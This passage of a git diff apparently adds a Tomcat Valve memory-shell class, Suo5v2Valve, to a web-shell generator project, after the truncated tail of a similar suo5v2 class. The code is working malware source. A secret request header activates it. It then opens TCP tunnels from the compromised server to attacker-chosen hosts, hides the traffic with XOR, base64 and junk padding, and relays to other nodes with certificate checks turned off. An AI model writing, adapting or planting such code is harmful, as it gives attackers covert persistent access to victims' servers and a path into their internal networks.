randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java new file mode 100644 index 00000000..8805caba --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java @@ -0,0 +1,1199 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.net.ssl.*; +import javax.servlet.ServletException; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Valve() { + } + + public Suo5v2Valve(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Valve(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2Valve().process(request, response); + return; + } + } catch (Throwable ignored) { + } + this.getNext().invoke(request, response); + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Valve(tunId, 1)).start(); + new Thread(new Suo5v2Valve(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + 